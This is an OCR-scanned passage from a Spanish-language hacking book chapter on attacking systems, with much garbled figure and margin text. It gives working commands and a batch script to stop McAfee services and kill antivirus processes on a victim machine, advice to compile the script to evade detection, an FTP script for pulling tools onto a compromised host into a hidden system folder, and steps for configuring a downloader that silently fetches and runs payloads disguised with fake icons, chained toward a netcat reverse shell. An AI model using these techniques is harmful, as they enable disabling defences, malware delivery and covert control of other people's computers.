    Windows. Cuando encuentre los servicios relacionados al antivirus, queusualmente se nombran con el nombre de la empresa desarrolladora, haga clic conel boton derecho sobre ella y anote el nombre del servicio tanto como el ejecutablerelacionado al servicio que aparecen indicados en la ventana como en la siguientetmage.n:

    I:,f!It.

    'I'i. ,.~~...,,~

    ,~~,~ II:

    Admlnistr ad6n del equipo (local)F ~ Herramientas del sistema

    if} iD Visor de sucesosl~ ~ Carpetas compartidasit c!?iI Registros y aI ertas de rendirr, ~ Adminlstrador de disposltivos

    .",.~ Almacenamientoit,a Medics de almacenamiento e: ...~ Desfr agmentador de disco

    ~ Adtninistr aciOn de discos(,,; ~ Servicios)' Aplicaciones

    , ~ ServldosI' ~ Control WMIJlg Servicio de In dex Server

    Iniciado AutomaticoManual

    ""anualIniciado Automatlco

    ManualIniciado ~Ianual

    Almacena i ... Iniclado AutomaticoDetecta y s ... I'lanual

    Administr a ... ManualProporcion ... Iniciado AutomaticoOfrecealm ... Iniciado AutOlnatico

    Administr a I... ManualManual

    Iniciado AutomaticoIniclado. Automatlco

    Habilita Ia c ... lniciado AutomatlcoHabiita la e ... Iniciado AutomaticoMantiene vi ... lniciado AutomatlcoAdmInistr a I.. . Irriciado AutomaticoResuelve y ... Iniciado Automatlco

    ~

    Figura 3-18. Listando los servicios en Windows mediante el panel administrativo

    Hay procesos que no estan relacionados al servicio. Los procesos sepueden listar presionando CTRL+ALT+SUPR para invocar el Administrador deTareas de Windows. En el tabulador de procesos se listan todos los procesos. Loque puede hacer es ver y listar estos procesos antes de instalar el antivirus y ver queprocesos aparecen una vez ya instal ado el programa. Tome por ejemplo el caso deMcafee Virus-Scan Plus 2007 u otro antivirus de los tantos que existen. Estesoftware 10 puede descargar desde la pagina Web de Mcafee en www.mcafee.com.En su seccion de descargas puede obtener una version de evaluacion a 30 dias. Paracada servicio, 10 debera parar con el comando net stop, sin embargo para losejecutables los puede incluir todos como argumento para taskkill a la hora dematar el proceso. Antes de realizar las instrucciones, compruebe que funcione elantivirus ejecutando alguna herramienta de hacking, troyano 0 virus dentro del CD-ROM que acompafia a este libro. AI ver que funcionan las alertas, ejecute lassiguientes instrucciones:

    @RA-MA

  • MA

    [ue.onblente

    IfIJ~~I

    I_ ......J

    ~l~"~~

    .-s ser de. LoqueodeEstezom.Paral losa dete elCD-~ las

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS... 123

    net stop Emproxy

    net stop "Mcafee HackerWatch Service"

    net stop "McLog Manager Service"

    net stop McNASvc

    net stop MpfService

    net stop mcpromgr

    net stop McShield

    net stop McRedirector

    net stop McODS

    net stop McSysmon

    net stop mctskshd.exe

    net stop mcmispupdmgr

    net stop mcmscsvc

    net stop mcusrmgr

    taskkilllF lIM emproxy.exe lIM HWAPl.exe lIM mclogsrv.exe lIM mcnasvc.exelIM MPFSrv.exe lIM mcpromgr.exe 11M mcshield.exe lIM redirsvc.exe 11Mmcods.exe lIM mcsysmon.exe lIM mctskshd.exe lIM mcupdmgr.exe lIMmcusrmgr.exe lIM mcvsshld.exe lIM mcvimgr.exe lIM mcregist.exe lIMmclogsrv.exe lIM mcagent.exe

    Una vez ejecutadas estas instrucciones, ponga a prueba nuevamente elantivirus ejecutando alguna herramienta de hacking dentro del CD-ROM yverifique que no hay alertas por parte del programa de Mcafee. Ahora bien, es enrealidad tedioso tener que investigar los procesos e ir probando para cada antiviruslos comandos. Para ahorrar tiempo en futuras conquistas, puede elaborar unprograma mediante batch scripting 0 trabajos por lotes, en su traduccion al espafiol.Para matar los procesos de este antivirus en particular, puede seguir el siguienteesquema:

  • r 'I " I

    I:,~

    I~'

    :1'i,'"lij-'...

    ,~~.~"

    124 HACKING Y SEGURlDAD EN INTERNET RA-MA

    @echo off

    If exist "%programfiles%\mcafee.com" (goto mcafee) else (goto 1)

    :1

    exit

    :mcafee

    net stop Emproxy

    net stop "Mcafee HackerWatch Service"

    net stop "McLog Manager Service"

    net stop McNASvc

    net stop MpfService

    net stop mcpromgr

    net stop McShield

    net stop McRedirector

    net stop McQDS

    net stop McSysmon

    net stop mctskshd.exe

    net stop mcmispupdmgr

    net stop mcmscsvc

    net stop mcusrmgr

    taskkill IF lIM emproxy.exe lIM HWAPl.exe lIM mclogsrv.exe lIM mcnasvc.exelIM MPFSrv.exe 11M mcpromgr.exe lIM mcshield.exe 11M redirsvc.exe 11Mmcods.exe 11M mcsysmon.exe 11M mctskshd.exe 11M mcupdmgr.exe 11Mmcusrmgr.exe lIM mcvsshld.exe 11M mcvimgr.exe lIM mcregist.exe 11Mmclogsrv.exe 11Mmcagent.exe .

    exit

    Guarde estas lineas en un archivo con extension .bat. El script es muysencillo: la primera linea es una instruccion para desactivar el output a consola porparte del script. La siguiente linea impone una condicional, diciendo que si seencuentra el directorio de instalaci6n para el antivirus especificado, que se dirija alas instrucciones especificas de desactivaci6n de ese programa seguido por lainstruccion exit. Esta ultima instrucci6n la realiza mediante la orden goto ,que seutiliza para saltar a una linea marcada con dos puntos seguido de tag (:tag).

  • AyIreaa..,).

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA L'OS SISTEMAS... 125

    Siguiendo esta misma estructura, puede afiadir sobre este esquema las instruccionespara desactivar otros antivirus y asi armarse una herramienta util de ocupar almomento de desactivar las defensas de algun ordenador:

    @echo off

    Ifexist "%programfiles%\directorio_antivirusl" (goto antivirusl) else (goto 1)

    :1

    If exist "%programfiles%\directorio _antivirus2" (goto antivirus2) else (goto 2)

    :2Ifexist "%programfiles%\directorio_antivirus3" (goto antivirus3) else (goto 3)

    :3

    exit

    :antivirus 1

    instrucciones para desinstalar antivirus 1

    exit

    :antivirus2

    instrucciones para desinstalar antivirus2

    exit

    :antivirus3

    instrucciones para desinstalar antivirus3

    exit

    @echo off

    If exist "%programfiles%\mcafee.com" (goto mcafee) else (goto 1)

    : 1

    exit

    Este script ocupa la variable de entorno %programilles%, que se expandea C:\Archivos de Programa 0 C:\Program Files, dependiendo del lenguaje delsistema operativo, haciendo que el script sea independiente a la localizaci6n. Sidesea aprender mas de batch scripting, puede encontrar varios tutoriales ~n Internetacerca del tema. Muy recomendable son los foros existentes como

  • ,,1" I ~I I

    ill!i~

    ! ) i

    I

    I,~ I ' ,

    126 HACKING Y SEGURIDAD EN INTERNET RA-MA

    http://foro.elhacker.net 0 en http://foro.portalhacker.net. Dirijase a las secciones deprogramacion y encontrara varias publicaciones sobre el tema.

    Puede ser que estos scripts puedan ser detectados por el antivirus,catalogandolo como malicious script (script malicioso). Para eso, puede ocupar unprograma llamado Exescript, un programa de pago que crea un ejecutable a partirde su fichero .bat. Tiene otras caracteristicas interesantes adem as si deseaprofundizar en sus habilidades de programador. Al ser un archivo compilado .exe,el antivirus no detectara las instrucciones escritas como con el fichero .bat. Puedeobtener este software en http://www.hide-folder.com!

    3.4 TRANSFERENCIA DE ARCHIVOSLa duda mas natural que le puede surgir en este momenta es l,ocupando

    solamente la shell de comandos que se obtiene con un exploit remoto, como puedesubir las herramientas de hacking al ordenador victima? La solucion a este dilema,mientras que no es tan trivial como compartir una carpeta en Windows, resulta serde todos modos algo relativamente sencillo.

    3.4.1 Configurando un servidor FTPUna vez obtenida la consola de comandos en la victim a remota, se puede

    ocupar el cliente ftp simple por linea de comandos que viene integrado como unaherramienta estandar. Tanto Linux como Windows tiene esta herramientaincorporada; simplemente al introducir el comando, se devuelve un prompt delcliente ftp y se puede empezar a realizar' una conexi on a un servidor ftp dondeguarde sus herramientas. Si trabaja bajo un entomo de Linux, puede instalar unservidor ftp como Proftpd 0 vsftpd; el usuario y contrasefia es la misma que ocupapara iniciar una sesion de usuario y de inmediato inicia en su directorio home. ParaWindows, puede utilizar Filezilla server, descargable desde su portal Web ubicadoen http://filezilla.sourceforge.netl.Adiferencia de los servidores ftp bajo Linux, sinembargo, debe configurar los usuarios y las rutas a sus directorios de inicio antesde ocuparlo.

    Una vez descargado e instalado, se abre una ventana que es el panel deadministracion para poder controlar las distintas opciones de configuracion delservidor ftp y permitira tambien dar de alta a usuarios. Para dar de alta un usuario,dirijase al menu Edit->Users y se abrira una ventana con las opciones necesarias.Dentro de esta ventana existe un recuadro llamado Users. Presione el boton Addpara afiadir un usuario. Aparece otra ventana con dos campos, el primero donde

  • de

    IS,untirea~e,de

    10iela,er

    Ierataelieill

    Ja

    ra10ill

    Ieel0,s.ldIe

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 127

    . ,........

    afiade el nombre de usuario y el segundo donde se elige el grupo a quien qui era quepertenezea.

    Speed Limits. IPFilter

    1 J';._. ~;. 1:,1['""", ----:-- ' .ji '! [~dd..1 [Remove.] !1 i IRename) [ .COpy ] 1

    - _)

    oBypass userlimltof server. Maximum.connection count:

    . .~~#:.:}J;~~':t "~f -:>!:

    Connection limit"per IP:

    I~__.__---J'E=-=t

    ,0Force SSL for user login

    , Description!~-----! I; I. ! i

    ~,......_~O_K---"-'"~~'-"'I-j 1'----__ .__,-~ --,I You can enter some comments about the user[_ Cancel .

    Figura 3-19. Configurando un usuario en Filezilla Server

    Una vez afiadido el usuario, se habilitan los otros reeuadros deconfiguracion, permitiendo por ejemplo el uso de una eontrasefia en la seccion deAccount Settings. Despues, en el recuadro Page, elija la seccion Shared Folderspara ver las opeiones de los directorios que se desean habilitar para el usuario.Simplemente presione el boton Add y se abrira una ventana para elegir las earpetasa las que se quiera dar aceeso al usuario. EI primer directorio que se afiada sera eldirectorio de inicio. Una vez elegido, asegurese de dar los permisos necesarioshaciendo die sobre las casillas de verificacion. Ya una vez dados debe aeeptar, enel menu de Server, asegurese de que la opcion Active tenga una tilde verifieandoque esta el servicio activo.

  • '1

    128 HACKING Y SEGURIDAD EN INTERNET RA-MA

    3.4.2 Descarga de herramientas mediante un scriptAhora que tiene un servidor ftp para guardar sus herramientas, puede

    ocupar cualquier cliente ftp para conectarse a el. La sorpresa que todos seencuentran cuando intentan conectarse al servidor ftp mediante la consola de lineasde comando es que la consola obtenida mediante el exploit se queda colgada en vezde pasar al prompt del ftp y lamentablemente se pierde la conexi6n. Esto es normalen el caso que se obtenga la consola en un sistema operativo de Windows. Parasolucionar este pequefio inconveniente, la herramienta de cliente ftp de Windowspuede realizar acciones desde un script. El script se puede escribir de la siguientemanera:

    iJill

    I~II,~II

    I""

    i'I~,~~'"H'I

    ,~~

    .*-.

    usuano

    open direcci6n _ servidor _ ftp

    contrasefia

    binary

    get herramienta 1

    get herramienta2

    get herramienta3

    bye

    La primera linea da la instrucci6n de abrir una conexion al servidor ftp,indicado por una direccion IP 0 bien un nombre que se pueda resolver medianteDNS. Las siguientes dos line as proporcionan el usuario y contrasefia. Aqui esimportante no dejar un espacio en blanco despues de cada uno, puesto que secontara como parte del texto y 'usuario' no es 10 mismo que 'usuario'. En lasiguiente linea se debe indicar la palabra clave binary, esto es por que por defectose bajan en modo ascii. El modo ascii se ocupa para compatibilizar los textos entrelos sistemas de Linux, Windows y Macintosh. Esto 10 hace cambiando el caracterque indica un fm de linea, que es distinto para todos. Si se descarga un binario enmodo ASCll, sin embargo, modificara el ejecutable y la herramienta quedarainutilizable. Despues s610 hay que indicarle al cliente ftp que descargue lasherramientas que se requieren y despues desconectarse con la palabra clave bye. Sise le olvida desconectarse, la consola no se desprendera del ftp y quedarainutilizable.

    Existe otro problema al estar dentro de la consola de Windowsremotamente. Al tratar de abrir el editor de textos desde la linea de comandos, la

  • fA

    :Ieseasez.alra"'srte

    tp,iteesselactotreterenm:!lasSiIra

    wsla

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 129

    console nuevamente quedaria inutilizable al igual que al tratar de conseguir unprompt del cliente ftp. Para escribir el script, se debera escribir linea por linea lasinstrucciones a traves del comando echo, redirigiendo el output de este a unfichero. La redireccion se logra mediante el simbolo >. Un solo > borra elcontenido del fichero antes de redirigir el output. Con redirige el outputafiadiendo la entrada a una nueva linea. Para crear el script anterior, se haria 10siguiente:

    echo open direcci6n _ servidor _ftpscript.txt

    echo usuario> >script. txt

    echo contrasefia> >script. txt

    echo binaryscript.txt

    echo get herramientalscript.txt

    echo get herramientaz-c-scnpt.txr

    echo get herramienta3script.txt

    echo b)'escript.txt

    Despues para ejecutar el script, con el cliente ftp de Windows, se ejecuta elcomando con el switch -s:fichero, donde fichero es el script recien creado. Antesde ejecutar el script, 10 mejor seria crear un directorio que sea dificil de encontrar.Por ejemplo dentro del directorio %systemroot% \system32 crear una subcarpetaHamadax86_driver. Entre tantas otras carpetas de sistema, este directorio pasariarelativamente desapercibido.

    3.4.3 Bajando las herramientas mediante un troyanoMediante un poco de estudio de batch scripting, uno podria armar un

    programa que descargue y ejecute todo de una sola vez. Junto al program aExescript, para transformarlo en ejecutable y asi hacer el trabajo mucho massencillo. El poder de la informatica consiste en la automatizaci6n de los procesos yla multiplicaci6n de los resultados. Es as! como nace el concepto del malware,pequefios ejecutables que hacen el trabajo del hacker malicioso que los cre6. Crearestos scripts puede llegar a ser mucho trabajo para algunos, puesto que es aprenderotro tipo de lenguaje. Hay sin embargo herramientas ya creadas para automatizareste proceso. Vodka Downloader es una de estas.

    Vodka Downloader es un programa que descarga las herramientas dehacking de un sitio Web mediante el protocolo http. Al descargar, tambien da la

  • l""1"'I'tl' r'"

    130 HACKING Y SEGURIDAD EN INTERNET RA-MA

    posibilidad de ejecutar el programa 0 script y de manera oculta al usuario (no seabre un cmd). Este software se puede obtener en el interesante portal Webhttp://www.indetectables.net.

    [Von-:; D~:~{oAn~.~XiI UR~;rI>;.' ,'1 .E~tr~~F:"j,,:E.jecucioll..;. I

    http://www.... %fAlindir%\d... OcultoI http://www.... %fAlindir%\d... Oculto

    I_ .. . . .1I.. __ . _

    Figura 3-20. Configurando Vodka Downloader .

    j::~~"',

    Antes de ejecutar esta herramienta de hacking, el lector debera estarpreparado con un servidor Web donde residan las herramientas a descargar. Bienpuede practicar con esta herramienta si ya tiene un hosting contratado para supagina Web personal. Si no tiene un hosting y prefiere que se descargue de unlugar mas anonimo, puede instalar un servidor Web en su propio ordenador. No sepreocupe si no' tiene muchos conocimientos de administracion Web, no seran denecesidad. Existe el portal Web http.r/www.apachefriends.org que distribuye uninstalador llamado xampp, que consta de un servidor Web Apache con soportepara bases de datos Mysql y capacidad de scripting en PHP y Perl. Tambienincluye el servidor FTP de filezilla y otros programas mas para la faciladministracion de su servidor Web, instalable mediante el clasico metodo del dobleclic. Cualquier duda que tenga, el portal contiene una seccion con las preguntasmas frecuentes que pudiesen ser de ayuda frente a cualquier eventualidad quetuviese.

    Una vez instalado XAMPP, si usted dispone de una direccion IP dinamica,seria de gran ayuda tener un dominio que apunte a su IP cada vez que cambie. As!Vodka Downloader siempre puede encontrar su servidor Web. Para saber si tieneuna direccion IP dinamica, utilice el portal http://ip-adress.com/para averiguar suIP. Despues desconectese y conectese nuevamente a Internet y vea su direcci6n IP

    1_

  • sereb

    .tarlensuunI sedeunirteienlcilble.tas[ue

    .ca,Asi;me'su.IP

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 131

    nuevamente. Si su direccion es distinta a la anterior, es porque tiene una IPdinamica.

    Existe el servicio de rastreo de IP proporcionado en la pagma Webhttp://dyndns.org. Dirijase al enlace de Dynamic DNS bajo la seccion de serviciosy registre un dominio para su uso personal. EI servicio Ie provee de una interfasepara introducir su direccion IP cada vez que cambie y tambien existe el cliente queal instalarlo en su ordenador actualiza la direccion por usted y a todo momento. EIservicio es gratuito y muy recomendable para las personas que quieran proveer unservicio Web con bajos costes.

    Al ejecutar el programa VodkaEditor, incluido dentro del paqueteeomprimido de Vodka Downloader, aparece una ventana de dialogo donde alhaeer clie con el boton derecho del mouse sobre el, aparecen las opeiones delprograma. Seleccione la opcion Aiiadir Item. Aparecera otra ventana que preguntade donde se descarga la herramienta de hacking; este debe de ser una direccion IP 0bien un nombre que se pueda resolver mediante DNS. Tambien debe ser medianteel protocolo http. Esto estara resuelto una vez que instale el XAMPP y registre undominio que rastree su IP.

    Para cada item que seleccione, se debe de indicar en que sitio en elordenador quiere que se descargue. EI programa permite variables de entomo deWindows, que se recomiendan utilizar si no sabe en que lenguaje esta 0 queversion de Windows es. Despues de indicar en donde se descarga, puedeseleceionar de entre tres acciones posibles:

    Eje.cutar de manera normal el programa descargado. Esta opcion seutiliza muchas veces para adware, que son programas que publieitan algunservicio en la Web.

    Ejecutar de manera oculta. Muy util si 10 que se qui ere ejecutar sonficheros .bat, que contengan scripts para realizar acetones sin que sepercate el usuario.

    No realizar nada. Esta opcion es simplemente para descargar laherramienta. Muchas veces 10 que se hace es primero descargar unaherramienta sin hacer nada y despues el siguiente item a descargar seria unbatch script que hace uso de la herramienta previamente descargada.

    Una vez afiadidos todas las herramientas y scripts que quiera descargar a lavictirna, nuevamente haga clic con el boton derecho del mouse para elegir

  • I 1

    ~II'

    illnlljI ,Ulf

    I~~'-

    'I'l~j .....

    132 HACKING Y SEGURIDAD EN INTERNET RA-MA

    Opciones. Vodka Downloader crea un ejecutable, mediante esta opcion se puedecambiar el icono de este ejecutable. Puede camuflarlo como un enlace Web, unaimagen a un fichero de texto. La extension sigue siendo .exe, sin embargo, comoWindows no muestra las extensiones par defecto, este pasa desapercibido. Una vezelegido el icono que se quiere ocupar, simplemente seleccione el boton erear ylisto.

    Bien 10 puede ejecutar usted mismo al descargarlo en la victima medianteel uso de un exploit y el metoda de script de ftp, pero es mucho mas sencilloengafiar a la persona para que ella 0 el mismo 10 abra, puesto que no existe parchealguno para la ignorancia humana.

    Al concatenar todos los pasos anteriores, puede primero bajar el script parala desactivacion de antivirus. Puede luego descargar la herramienta neteat, paraluego descargar un script que 10 deje a la escucha 0 bien que se conecte a ustedcomo una shell reversa. Con un poco de imaginacion y suficiente conocimiento, lasopciones son infinitas.

    3.5 VALIDACION TRANSP ARENTE EN LOS SISTEMASCuando uno entra al sistema mediante exploits y con privilegios del

    sistema, toda accion realizada quedara registrada con el usuario System. Lo mismopara entomos de Linux donde queda todo registrado como root. Mientras que tieneventajas tener permisos elevados, es facil detectar la intrusion al notar que una deestas dos cuentas estan siendo utilizadas. Normalmente, estas cuentas no se ocupan

    I

    en 10 absoluto y su uso resulta ser bastante obvio. Si la maquina comprometida seplanea utilizar a largo plazo, 10 mejor es validarse en el sistema como uno de losmismos usuarios que estan permitidos